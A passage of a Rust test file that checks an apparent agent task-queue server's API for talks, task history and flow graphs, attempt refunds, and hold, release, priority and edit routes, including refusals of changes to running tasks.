10222 .to_owned();
10223 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10224 assert_eq!(closed.status, 200, "{}", closed.body);
10225
10226 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10227 assert_eq!(reopened.status, 200, "{}", reopened.body);
10228 assert_eq!(reopened.json()["status"], "open");
10229
10230 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10232 assert_eq!(reopened_again.status, 200);
10233 assert_eq!(reopened_again.json()["status"], "open");
10234
10235 let said = f
10236 .post(
10237 &format!("/api/talks/{id}/say"),
10238 Some(r#"{"text":"still there?"}"#),
10239 )
10240 .await;
10241 assert_eq!(
10242 said.status, 202,
10243 "a reopened talk accepts turns again: {}",
10244 said.body
10245 );
10246 }
10247
10248 #[tokio::test]
10249 async fn talk_reopen_on_an_unknown_id_is_404() {
10250 let f = Fixture::start().await;
10251 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10252 assert_eq!(res.status, 404, "{}", res.body);
10253 }
10254
10255 #[tokio::test]
10256 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10257 let f = Fixture::start().await;
10258 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10259
10260 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10261 assert_eq!(deleted.status, 204, "{}", deleted.body);
10262
10263 let after = f.get(&format!("/api/talks/{id}")).await;
10264 assert_eq!(after.status, 404, "{}", after.body);
10265
10266 let listed = f.get("/api/talks").await.json();
10267 assert!(
10268 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10269 "a deleted talk must not linger in the list: {listed}"
10270 );
10271 }
10272
10273 #[tokio::test]
10274 async fn talk_delete_on_an_unknown_id_is_404() {
10275 let f = Fixture::start().await;
10276 let res = f.delete("/api/talks/nonexistent-id").await;
10277 assert_eq!(res.status, 404, "{}", res.body);
10278 }
10279
10280 #[tokio::test]
10284 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10285 let f = Fixture::start().await;
10286 let (a, b, gone) = (
10287 "20260902-140501-aaaa",
10288 "20260902-140502-bbbb",
10289 "20260902-140503-cccc",
10290 );
10291 write_run(&f.runs(), a, RunStatus::Stalled);
10292 let mut review = RunState::new(
10293 PathBuf::from("/repo/magi"),
10294 "main".to_owned(),
10295 "0123456789abcdef".to_owned(),
10296 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10297 .to_owned(),
10298 Config::default(),
10299 );
10300 review.id = b.to_owned();
10301 review.status = RunStatus::Merged;
10302 write_state(&f.runs(), &review);
10303
10304 let mut task = Task::new(
10305 "retry".to_owned(),
10306 "Do the thing".to_owned(),
10307 PathBuf::from("/repo/magi"),
10308 Source::Human,
10309 );
10310 task.start(a.to_owned());
10311 task.stall("quota");
10312 task.start(a.to_owned());
10313 task.start(b.to_owned());
10314 task.start(gone.to_owned());
10315 f.queue().put(&mut task).expect("file the task");
10316
10317 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10318 assert_eq!(res.status, 200, "{}", res.body);
10319 let v = res.json();
10320 let h = v["history"].as_array().expect("history");
10321 assert_eq!(h.len(), 4, "{v}");
10322 assert_eq!(h[0]["kind"], "competition");
10323 assert_eq!(h[0]["status"], "stalled");
10324 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10325 assert_eq!(h[1]["kind"], "resume", "{v}");
10326 assert!(
10327 h[0]["outcome"]
10328 .as_str()
10329 .unwrap()
10330 .contains("unknown. Pass #2"),
10331 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10332 );
10333 assert!(
10334 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10335 "{v}"
10336 );
10337 assert!(
10338 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10339 "an unrecorded cause must not be narrated as an operator park: {v}"
10340 );
10341 assert_eq!(h[2]["kind"], "review");
10342 assert!(
10343 h[2]["description"]
10344 .as_str()
10345 .unwrap()
10346 .contains("magi/aaaa/A")
10347 );
10348 assert_eq!(h[2]["status"], "merged");
10349 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10350 assert_eq!(v["runs_unreadable"], 1);
10351 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10352 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10353 assert_eq!(nodes[4]["note"], "unreadable");
10354 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10355 assert_eq!(v["instruction"], "Do the thing");
10356 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10357
10358 let run = f.get(&format!("/api/runs/{a}")).await.json();
10360 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10361
10362 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10363 }
10364
10365 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10366 let mut s = RunState::new(
10367 PathBuf::from("/repo/magi"),
10368 "main".to_owned(),
10369 "0123456789abcdef".to_owned(),
10370 "Do it".to_owned(),
10371 Config::default(),
10372 );
10373 s.status = status;
10374 edit(&mut s);
10375 s
10376 }
10377
10378 fn flow_task(runs: &[&str]) -> Task {
10379 let mut t = Task::new(
10380 "t".to_owned(),
10381 "Do it".to_owned(),
10382 PathBuf::from("/repo/magi"),
10383 Source::Human,
10384 );
10385 for r in runs {
10386 t.start((*r).to_owned());
10387 }
10388 t
10389 }
10390
10391 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10392 let h = task_history(task, |id| {
10393 states
10394 .iter()
10395 .find(|(i, _)| *i == id)
10396 .and_then(|(_, s)| s.clone())
10397 });
10398 task_flow(task, &h, 5, None)
10399 }
10400
10401 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10402 crate::queue::FollowUp {
10403 run: "20260901-000000-aaaa".to_owned(),
10404 origin_task: origin_task.map(str::to_owned),
10405 pr: "https://example.com/o/r/pull/1".to_owned(),
10406 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10407 .map(str::to_owned)
10408 .to_vec(),
10409 generation: 1,
10410 }
10411 }
10412
10413 fn parent_task() -> Task {
10414 let mut p = flow_task(&[]);
10415 p.title = "Parent title".to_owned();
10416 p.status = TaskStatus::Done;
10417 p
10418 }
10419
10420 #[test]
10421 fn flow_opens_with_the_parent_task_of_a_followup() {
10422 let p = parent_task();
10423 let pid = p.id.clone();
10424 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10425 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10426 let n = &f.nodes[0];
10427 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10428 assert_eq!(
10429 n.label,
10430 format!("Follow-up of {}", crate::queue::short(&pid))
10431 );
10432 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10433 assert_eq!(n.status, Some("done"));
10434 assert_eq!(n.status_of, "task");
10435 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10436 assert_eq!(f.nodes[1].key, "start");
10437 assert_eq!(f.edges[0].from, "origin");
10438 assert_eq!(
10439 f.edges[0].label,
10440 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10441 );
10442 }
10443
10444 #[test]
10445 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10446 let o = followup_origin(
10447 &fu(Some("gone")),
10448 |_| None,
10449 |_| {
10450 Some(RunState::new(
10451 std::path::PathBuf::from("."),
10452 "main".to_owned(),
10453 "0".to_owned(),
10454 "t".to_owned(),
10455 crate::config::Config::default(),
10456 ))
10457 },
10458 );
10459 assert!(o.parent.is_none());
10460 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10461 let n = &f.nodes[0];
10462 assert_eq!(n.status_of, "run");
10463 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10464 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10465 }
10466
10467 #[test]
10468 fn flow_followup_with_nothing_readable_has_no_link() {
10469 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10470 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10471 let n = &f.nodes[0];
10472 assert_eq!(n.href, None);
10473 assert_eq!(n.note, Some("unreadable"));
10474 assert!(!n.readable);
10475 }
10476
10477 #[test]
10478 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10479 let o = followup_origin(&fu(None), |_| None, |_| None);
10480 let mut t = flow_task(&[]);
10481 t.origin_chat = Some("c1".to_owned());
10482 let f = task_flow(&t, &[], 5, Some(&o));
10483 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10484 t.source = Source::Agent {
10485 run: "c1".to_owned(),
10486 node: crate::queue::CHAT_NODE.to_owned(),
10487 };
10488 let f = task_flow(&t, &[], 5, Some(&o));
10489 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10490 assert_eq!(
10491 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10492 ("chat", "origin")
10493 );
10494 }
10495
10496 #[test]
10497 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10498 let mut p = parent_task();
10499 p.id = "a b/c".to_owned();
10500 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10501 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10502 }
10503
10504 #[test]
10505 fn flow_opens_with_the_chat_that_queued_the_task() {
10506 let mut t = flow_task(&[]);
10507 t.source = Source::Agent {
10508 run: "a b/c".to_owned(),
10509 node: crate::queue::CHAT_NODE.to_owned(),
10510 };
10511 let f = flow_for(&t, &[]);
10512 assert_eq!(f.nodes[0].key, "chat");
10513 assert_eq!(f.nodes[0].kind, "chat");
10514 assert_eq!(
10515 f.nodes[0].label,
10516 format!("Chat {}", crate::queue::short("a b/c"))
10517 );
10518 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10519 assert_eq!(f.nodes[1].key, "start");
10520 assert_eq!(
10521 f.edges[0],
10522 FlowEdge {
10523 from: "chat".to_owned(),
10524 to: "start".to_owned(),
10525 label: "queued from chat".to_owned(),
10526 attempt: AttemptCost::None,
10527 }
10528 );
10529 }
10530
10531 #[test]
10532 fn flow_has_no_chat_box_for_other_sources() {
10533 for source in [
10534 Source::Human,
10535 Source::Issue {
10536 number: 3,
10537 repo: "o/r".to_owned(),
10538 },
10539 Source::Agent {
10540 run: "20260904-014455-ab12".to_owned(),
10541 node: "implement".to_owned(),
10542 },
10543 ] {
10544 let mut t = flow_task(&[]);
10545 t.source = source;
10546 let f = flow_for(&t, &[]);
10547 assert_eq!(f.nodes[0].key, "start");
10548 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10549 assert!(f.edges.iter().all(|e| e.from != "chat"));
10550 }
10551 }
10552
10553 const FA: &str = "20260902-140501-aaaa";
10554 const FB: &str = "20260902-140502-bbbb";
10555
10556 #[test]
10557 fn flow_follows_blocked_retry_merged_to_done() {
10558 let mut t = flow_task(&[FA, FB]);
10559 t.status = TaskStatus::Done;
10560 let f = flow_for(
10561 &t,
10562 &[
10563 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10564 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10565 ],
10566 );
10567 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10568 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10569 assert_eq!(f.edges.len(), 3);
10570 assert_eq!(f.edges[0].label, "claimed");
10571 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10572 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10573 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10574 assert_eq!(
10575 f.nodes[2].href.as_deref(),
10576 Some("#/runs/20260902-140502-bbbb")
10577 );
10578 assert!(f.nodes[2].decided);
10579 }
10580
10581 #[test]
10582 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10583 let quota = || {
10584 flow_run(RunStatus::Stalled, |s| {
10585 s.quota.push(crate::run::QuotaLoss {
10586 seat: "judge-1".to_owned(),
10587 node: "judge".to_owned(),
10588 at: Timestamp::now(),
10589 reset: None,
10590 })
10591 })
10592 };
10593 let mut t = flow_task(&[FA, FA]);
10594 t.status = TaskStatus::Queued;
10595 let f = flow_for(&t, &[(FA, Some(quota()))]);
10596 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10597 assert_eq!(f.nodes[1].note, Some("interrupted"));
10598 assert_eq!(
10599 f.nodes[1].status, None,
10600 "no outcome copied onto an earlier pass"
10601 );
10602 assert_eq!(
10603 f.edges[1].attempt,
10604 AttemptCost::Unknown,
10605 "a resume does not prove the earlier pass was refunded"
10606 );
10607 assert!(f.edges[1].label.contains("resume the same run"));
10608 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10609 assert_eq!(
10610 f.edges[2].label,
10611 "stalled after a resume, refund unknown \u{2192} queued"
10612 );
10613 assert!(!f.nodes[2].decided, "a stall is not a decision");
10614 assert_eq!(f.nodes[2].note, Some("no verdict"));
10615 }
10616
10617 #[test]
10618 fn flow_single_pass_quota_stall_is_refunded() {
10619 let t = flow_task(&[FA]);
10620 let f = flow_for(
10621 &t,
10622 &[(
10623 FA,
10624 Some(flow_run(RunStatus::Stalled, |s| {
10625 s.quota.push(crate::run::QuotaLoss {
10626 seat: "judge-1".to_owned(),
10627 node: "judge".to_owned(),
10628 at: Timestamp::now(),
10629 reset: None,
10630 })
10631 })),
10632 )],
10633 );
10634 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10635 }
10636
10637 #[test]
10638 fn flow_parked_refunds_and_stall_without_quota_spends() {
10639 let mut t = flow_task(&[FA]);
10640 t.status = TaskStatus::Queued;
10641 let f = flow_for(
10642 &t,
10643 &[(
10644 FA,
10645 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10646 )],
10647 );
10648 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10649 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10650 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10651 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10652 assert!(!f.nodes[1].decided);
10653 }
10654
10655 #[test]
10656 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10657 let t = flow_task(&[FA, FB]);
10658 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10659 assert_eq!(f.nodes[1].note, Some("unreadable"));
10660 assert!(!f.nodes[1].readable);
10661 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10662 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10663 }
10664
10665 #[test]
10666 fn flow_names_the_branch_of_a_review_only_run() {
10667 let t = flow_task(&[FA]);
10668 let f = flow_for(
10669 &t,
10670 &[(
10671 FA,
10672 Some(flow_run(RunStatus::Merged, |s| {
10673 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10674 })),
10675 )],
10676 );
10677 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10678 assert_eq!(
10679 f.nodes[1].detail.as_deref(),
10680 Some("review-only run of branch magi/x/A")
10681 );
10682 }
10683
10684 #[test]
10685 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10686 let mut t = flow_task(&[FA]);
10687 t.status = TaskStatus::Held;
10688 let pr = crate::run::PrRecord {
10689 url: "https://example.test/pr/1".to_owned(),
10690 number: 1,
10691 state: "open".to_owned(),
10692 checks: "green".to_owned(),
10693 round: 0,
10694 rounds: 3,
10695 red_at_merge: Vec::new(),
10696 };
10697 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10698 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10699 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10700 t.status = TaskStatus::Done;
10701 let f = flow_for(&t, &[(FA, Some(blocked))]);
10702 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10703 }
10704
10705 #[test]
10706 fn flow_with_no_runs_goes_from_queued_to_queued() {
10707 let t = flow_task(&[]);
10708 let f = flow_for(&t, &[]);
10709 assert_eq!(f.nodes.len(), 2);
10710 assert_eq!(f.edges.len(), 1);
10711 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10712 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10713 }
10714
10715 #[test]
10718 fn a_parked_non_terminal_run_is_explained_as_parked() {
10719 let mut s = RunState::new(
10720 PathBuf::from("/repo/magi"),
10721 "main".to_owned(),
10722 "0123456789abcdef".to_owned(),
10723 "Do it".to_owned(),
10724 Config::default(),
10725 );
10726 s.status = RunStatus::Implementing;
10727 s.parked = true;
10728 let task = Task::new(
10729 "t".to_owned(),
10730 "Do it".to_owned(),
10731 PathBuf::from("/repo/magi"),
10732 Source::Human,
10733 );
10734 let v = task_run_view(
10735 "20260902-140501-aaaa",
10736 Some(&s),
10737 RunSlot {
10738 n: 1,
10739 resumed: false,
10740 resumed_later: None,
10741 prior: None,
10742 last: true,
10743 },
10744 &task,
10745 );
10746 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10747 }
10748
10749 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10750 let mut s = flow_run(RunStatus::Implementing, edit);
10751 s.parked = false;
10752 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10753 task_run_view(
10754 "20260902-140501-aaaa",
10755 Some(&s),
10756 RunSlot {
10757 n: 1,
10758 resumed: false,
10759 resumed_later: Some(2),
10760 prior: None,
10761 last: false,
10762 },
10763 &task,
10764 )
10765 }
10766
10767 #[test]
10768 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10769 let v = earlier_pass_view(|_| {});
10770 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10771 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10772 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10773 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10774 assert_eq!(v.exit, RunExit::Interrupted);
10775 assert_eq!(v.attempt, AttemptCost::Unknown);
10776 }
10777
10778 #[test]
10779 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10780 let v = earlier_pass_view(|s| {
10781 s.quota.push(crate::run::QuotaLoss {
10782 seat: "judge-1".to_owned(),
10783 node: "judge".to_owned(),
10784 at: Timestamp::now(),
10785 reset: None,
10786 });
10787 });
10788 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10789 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10790 assert_eq!(v.attempt, AttemptCost::Unknown);
10791 }
10792
10793 #[test]
10794 fn the_current_pass_states_its_recorded_cause_and_cost() {
10795 let slot = || RunSlot {
10796 n: 1,
10797 resumed: false,
10798 resumed_later: None,
10799 prior: None,
10800 last: true,
10801 };
10802 let task = flow_task(&["20260902-140501-aaaa"]);
10803 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10804 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10805 assert_eq!(
10806 (v.exit, v.attempt),
10807 (RunExit::Parked, AttemptCost::Refunded)
10808 );
10809 let spent = flow_run(RunStatus::Blocked, |_| {});
10810 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10811 assert_eq!(v.attempt, AttemptCost::Spent);
10812 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10813 }
10814
10815 #[tokio::test]
10816 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10817 let f = Fixture::start().await;
10818 let queue = f.queue();
10819 let mut task = Task::new(
10820 "spent".to_owned(),
10821 "Try again".to_owned(),
10822 PathBuf::from("/repo/magi"),
10823 Source::Human,
10824 );
10825 task.start("20260902-140502-bbbb".to_owned());
10826 task.fail("agent gave up", 9);
10827 queue.put(&mut task).expect("file the task");
10828
10829 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10830 assert_eq!(held.status, 200);
10831 assert_eq!(held.json()["status_str"], "held");
10832
10833 let released = f
10834 .post(&format!("/api/queue/{}/release", task.id), None)
10835 .await;
10836 assert_eq!(released.status, 200);
10837 assert_eq!(released.json()["status_str"], "queued");
10838 assert_eq!(
10839 released.json()["attempts"],
10840 0,
10841 "release is a real second chance, not an instant re-hold"
10842 );
10843 assert_eq!(
10844 queue.get(&task.id).expect("reload").status,
10845 TaskStatus::Queued,
10846 "the change is on disk, not only in the reply"
10847 );
10848 assert!(
10849 !f.home
10850 .path()
10851 .join("queue")
10852 .join(format!("{}.lock", task.id))
10853 .exists(),
10854 "the claim the mutation took is released again"
10855 );
10856 }
10857
10858 #[tokio::test]
10859 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10860 let f = Fixture::start().await;
10861 let queue = f.queue();
10862 let mut task = Task::new(
10863 "busy".to_owned(),
10864 "Running right now".to_owned(),
10865 PathBuf::from("/repo/magi"),
10866 Source::Human,
10867 );
10868 queue.put(&mut task).expect("file the task");
10869 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10870
10871 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10872
10873 assert_eq!(res.status, 409);
10874 assert_eq!(
10875 queue.get(&task.id).expect("reload").status,
10876 TaskStatus::Queued,
10877 "the refused hold changed nothing"
10878 );
10879 }
10880
10881 #[tokio::test]
10882 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10883 let f = Fixture::start().await;
10884 let queue = f.queue();
10885 let mut task = Task::new(
10886 "waiting on the migration".to_owned(),
10887 "Do the thing".to_owned(),
10888 PathBuf::from("/repo/magi"),
10889 Source::Human,
10890 );
10891 queue.put(&mut task).expect("file the task");
10892
10893 let held = f
10894 .post(
10895 &format!("/api/queue/{}/hold", task.id),
10896 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10897 )
10898 .await;
10899 assert_eq!(held.status, 200, "{}", held.body);
10900 assert_eq!(held.json()["status_str"], "held");
10901 assert_eq!(
10902 held.json()["hold_reason"],
10903 "waiting for 20260101-000000-aaaa to land"
10904 );
10905
10906 let listed = f.get("/api/queue").await.json();
10907 assert_eq!(
10908 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10909 "the card reads the reason off the same list route"
10910 );
10911
10912 let mut plain = Task::new(
10915 "no reason given".to_owned(),
10916 "Do another thing".to_owned(),
10917 PathBuf::from("/repo/magi"),
10918 Source::Human,
10919 );
10920 queue.put(&mut plain).expect("file the task");
10921 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10922 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10923 assert!(held_plain.json()["hold_reason"].is_null());
10924
10925 let released = f
10926 .post(&format!("/api/queue/{}/release", task.id), None)
10927 .await;
10928 assert_eq!(released.status, 200);
10929 assert!(
10930 released.json()["hold_reason"].is_null(),
10931 "a release must clear the reason so the next hold does not inherit it"
10932 );
10933 }
10934
10935 #[tokio::test]
10936 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10937 let f = Fixture::start().await;
10938 let queue = f.queue();
10939 let mut older = Task::new(
10940 "filed first".to_owned(),
10941 "x".to_owned(),
10942 PathBuf::from("/repo/magi"),
10943 Source::Human,
10944 );
10945 older.id = "20260101-000001-aaaa".to_owned();
10946 let mut newer = Task::new(
10947 "filed second".to_owned(),
10948 "x".to_owned(),
10949 PathBuf::from("/repo/magi"),
10950 Source::Human,
10951 );
10952 newer.id = "20260101-000002-bbbb".to_owned();
10953 queue.put(&mut older).expect("file older");
10954 queue.put(&mut newer).expect("file newer");
10955
10956 let before = f.get("/api/queue").await.json();
10959 assert_eq!(before[0]["id"], newer.id);
10960 assert_eq!(before[1]["id"], older.id);
10961
10962 let raised = f
10966 .post(
10967 &format!("/api/queue/{}/priority", older.id),
10968 Some(r#"{"priority":10}"#),
10969 )
10970 .await;
10971 assert_eq!(raised.status, 200, "{}", raised.body);
10972 assert_eq!(raised.json()["priority"], 10);
10973
10974 let after = f.get("/api/queue").await.json();
10975 let names: Vec<&str> = after
10976 .as_array()
10977 .unwrap()
10978 .iter()
10979 .map(|t| t["id"].as_str().unwrap())
10980 .collect();
10981 assert_eq!(names[0], older.id, "the raised task now sorts first");
10985 }
10986
10987 #[tokio::test]
10988 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10989 let f = Fixture::start().await;
10990 let queue = f.queue();
10991 let mut task = Task::new(
10992 "in flight".to_owned(),
10993 "x".to_owned(),
10994 PathBuf::from("/repo/magi"),
10995 Source::Human,
10996 );
10997 task.start("20260902-140502-bbbb".to_owned());
10998 queue.put(&mut task).expect("file the task");
10999
11000 let res = f
11001 .post(
11002 &format!("/api/queue/{}/priority", task.id),
11003 Some(r#"{"priority":9}"#),
11004 )
11005 .await;
11006 assert_eq!(res.status, 400, "{}", res.body);
11007 assert!(
11008 res.json()["error"]
11009 .as_str()
11010 .is_some_and(|e| e.contains("running")),
11011 "{}",
11012 res.body
11013 );
11014 assert_eq!(
11015 queue.get(&task.id).expect("reload").priority,
11016 0,
11017 "the refused write must not partially apply"
11018 );
11019 }
11020
11021 #[tokio::test]
11022 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11023 let f = Fixture::start().await;
11024 let queue = f.queue();
11025 let mut task = Task::new(
11026 "old title".to_owned(),
11027 "old instruction".to_owned(),
11028 PathBuf::from("/repo/magi"),
11029 Source::Agent {
11030 run: "20260101-000000-beef".to_owned(),
11031 node: "implement".to_owned(),
11032 },
11033 );
11034 task.runs.push("20260101-000000-beef".to_owned());
11035 queue.put(&mut task).expect("file the task");
11036 let created_at = task.created_at;
11037
11038 let edited = f
11039 .post(
11040 &format!("/api/queue/{}/edit", task.id),
11041 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11042 )
11043 .await;
11044 assert_eq!(edited.status, 200, "{}", edited.body);
11045 let body = edited.json();
11046 assert_eq!(body["title"], "new title");
11047 assert_eq!(body["instruction"], "new instruction");
11048 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11049 assert_eq!(body["created_at"], created_at.to_string());
11050 assert_eq!(
11051 body["source"]["kind"], "agent",
11052 "editing a task an agent filed must not turn it human: {body}"
11053 );
11054 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11055
11056 let reloaded = queue.get(&task.id).expect("reload");
11057 assert_eq!(reloaded.title, "new title");
11058 assert_eq!(reloaded.instruction, "new instruction");
11059 }
11060
11061 #[tokio::test]
11062 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11063 let tmp = TempDir::new().expect("tempdir");
11066 let repo = tmp.path().join("repo");
11067 std::fs::create_dir_all(&repo).expect("repo dir");
11068 let judge = MOCK_AGENT_TOML.replace(
11069 "printf ok",
11070 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11071 );
11072 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11073 let f = Fixture::with_repo(repo.clone()).await;
11074 let queue = f.queue();
11075 let mut owner = Task::new(
11076 "owner".to_owned(),
11077 "review it".to_owned(),
11078 repo.clone(),
11079 Source::Human,
11080 );
11081 owner.review_branch = Some("magi/ab12/A".to_owned());
11082 queue.put(&mut owner).expect("file the owner");
11083 let mut task = Task::new(
11084 "draft".to_owned(),
11085 "old".to_owned(),
11086 repo.clone(),
11087 Source::Human,
11088 );
11089 queue.put(&mut task).expect("file the draft");
11090 let url = format!("/api/queue/{}/edit", task.id);
11091
11092 let refused = f
11093 .post(
11094 &url,
11095 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11096 )
11097 .await;
11098 assert_eq!(refused.status, 409, "{}", refused.body);
11099 let msg = refused.json()["error"]
11100 .as_str()
11101 .unwrap_or_default()
11102 .to_owned();
11103 assert!(
11104 msg.contains("magi/ab12/A") && msg.contains("force"),
11105 "{msg}"
11106 );
11107 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11108
11109 let forced = f
11110 .post(
11111 &url,
11112 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11113 )
11114 .await;
11115 assert_eq!(forced.status, 200, "{}", forced.body);
11116 }
11117
11118 #[tokio::test]
11119 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11120 let f = Fixture::start().await;
11121 let queue = f.queue();
11122 let mut task = Task::new(
11123 "in flight".to_owned(),
11124 "do not touch".to_owned(),
11125 PathBuf::from("/repo/magi"),
11126 Source::Human,
11127 );
11128 task.start("20260902-140502-bbbb".to_owned());
11129 queue.put(&mut task).expect("file the task");
11130
11131 let res = f
11132 .post(
11133 &format!("/api/queue/{}/edit", task.id),
11134 Some(r#"{"title":"x","instruction":"y"}"#),
11135 )
11136 .await;
11137 assert_eq!(res.status, 400, "{}", res.body);
11138 assert!(
11139 res.json()["error"]
11140 .as_str()
11141 .is_some_and(|e| e.contains("running")),
11142 "{}",
11143 res.body
11144 );
11145 assert_eq!(
11146 queue.get(&task.id).expect("reload").instruction,
11147 "do not touch",
11148 "the refused edit must not change the file"
11149 );
11150 }
11151
11152 #[tokio::test]
11153 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11154 let f = Fixture::start().await;
11155 let queue = f.queue();
11156 let mut task = Task::new(
11157 "busy".to_owned(),
11158 "Running right now".to_owned(),
11159 PathBuf::from("/repo/magi"),
11160 Source::Human,
11161 );
11162 queue.put(&mut task).expect("file the task");
